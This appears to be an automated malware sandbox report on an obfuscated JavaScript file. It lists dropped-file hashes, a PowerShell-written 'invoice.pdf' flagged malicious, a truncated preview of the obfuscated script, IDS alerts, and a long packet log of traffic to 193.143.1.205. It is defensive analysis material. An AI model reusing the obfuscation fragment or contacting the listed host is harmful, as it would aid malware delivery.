SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15185), with CRLF line terminators
Entropy (8bit):	4.91801909882001
TrID:
File name:	1353125634235611874.js
File size:	18'736 bytes
MD5:	768f2cfe13fd71395a5017efe270cd7c
SHA1:	72f7e2c879ee8ef7fabd4c89ee2f1c57ae2ac486
SHA256:	d3a8b6524203c923532b57514fc3d227a137f9d7e797397676db2a93cce689fe
SHA512:	a6e2c09ad880a9820ebf3a19a8f007c97f041043510a3e22ae6e750b65a12f266c63d9693aee554c599e7759aacc9b03f42235e31d1772fdf72bcdf116aca829
SSDEEP:	192:6YUnAd3fql6qmqHzzzlO61eJAJA9E0t1aW8KSTBMoVHqeiniQHKdLIE5+8ZdUG/N:xdvqAqmqfzlrBNHqeini/ZIE5+sd/N
TLSH:	BB823162D704CD648BD114D641F345978839038C82EDC8FA9ECAAA855F3E89BE6F117F
File Content Preview:	function scinhtyu(){spxbgct=[1031,3079,5127,4103,2055,3072];var weyviif=this[ltxvarg+wgksnfi+xrvrce+bxzyweede+espvlnl+wjvpnvyje+mhhqioeh+fmgzpnhqa](this[uitmf+libah+meskaicjr+xrvrce+ggala+ltxvarg+fmgzpnhqa][vxfqqq+xrvrce+espvlnl+wgksnfi+fmgzpnhqa+espvlnl+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:32:20.829758+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T14:32:23.354465+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:32:19.890558958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:19.895401001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:19.895482063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:19.899161100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:19.904016018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829619884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829632998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829648018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829670906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829684019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829711914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829729080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829741955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829755068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829757929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.829797029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829845905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.829871893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.829875946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.834608078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.834620953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.834633112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.834660053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.834672928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.834770918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.834878922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.835150003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835186958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835206985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835217953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835228920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835300922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.835302114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.835967064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835979939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.835993052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.836004972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.836018085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.836024046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.836097002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.836097002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.839593887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.839608908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.839629889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.839642048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.839653969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.839726925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.839950085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.840023994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.840044022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.840178013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.874396086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.874501944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.906299114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.906313896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.906377077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.909703016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.909714937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.909781933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.944535017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944550991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944565058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944577932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944637060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944684029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944715977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.944732904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944739103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.944874048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.944930077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.944950104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945101023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945112944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945123911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945178986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945178986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945300102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945311069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945323944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945353985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945365906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945369959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945378065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945425987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945425987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945878029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945889950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945903063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945936918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.945970058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.945988894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946002007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946013927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946022034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.946026087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946038961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946074009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.946393967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.946882010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946894884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946907043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946918964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.946984053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.946984053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.949558020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949572086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949589968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949600935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949614048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949625015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949636936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949649096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949700117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.949701071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.949732065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.949958086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.949970961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.950012922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.957606077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.957617044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.957626104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.957632065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.957681894 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:20.964301109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.964313030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:20.964386940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.000260115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.000274897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.000286102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.000562906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.031578064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.031594992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.031608105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.031640053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.031651020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.031749964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.031749964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.035043955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.035058022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.035094023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070103884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070146084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070167065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070179939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070200920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070213079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070225000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070234060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070239067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070251942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070290089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070307016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070363998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070377111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070390940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070404053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070415020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070416927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070456982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070456982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070578098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070616007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070628881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070648909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070648909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070661068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070816040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070816040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070868015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070903063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070915937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070929050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070940971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070954084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070966005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.070974112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070974112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.070979118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071027994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071274042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071286917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071297884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071310997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071322918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071336031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071347952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071379900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071387053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071387053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071393013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071405888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071417093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071439981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071607113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.071949959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071968079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071981907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.071994066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072006941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072017908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072031021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072042942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072053909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072060108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072067022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072072983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.072072983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.072078943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072094917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072104931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.072118998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.072138071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075071096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075083017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075094938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075115919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075128078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075155020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075155020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075167894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075181007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075192928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075211048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075269938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075283051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075300932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075304985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075304985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075306892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075328112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075334072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075345993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075359106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075409889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075409889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075768948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075789928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075804949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075854063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075891018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075903893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075913906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.075932980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.075932980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.079449892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.091335058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.091347933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.091361046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.091376066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.091387033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.091439962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.091439962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.114177942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.122107983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122133017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122144938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122174978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.122256041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122271061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122278929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122283936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122291088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.122339964 CET	49704	80	192.168.2.8	193.143.1.205
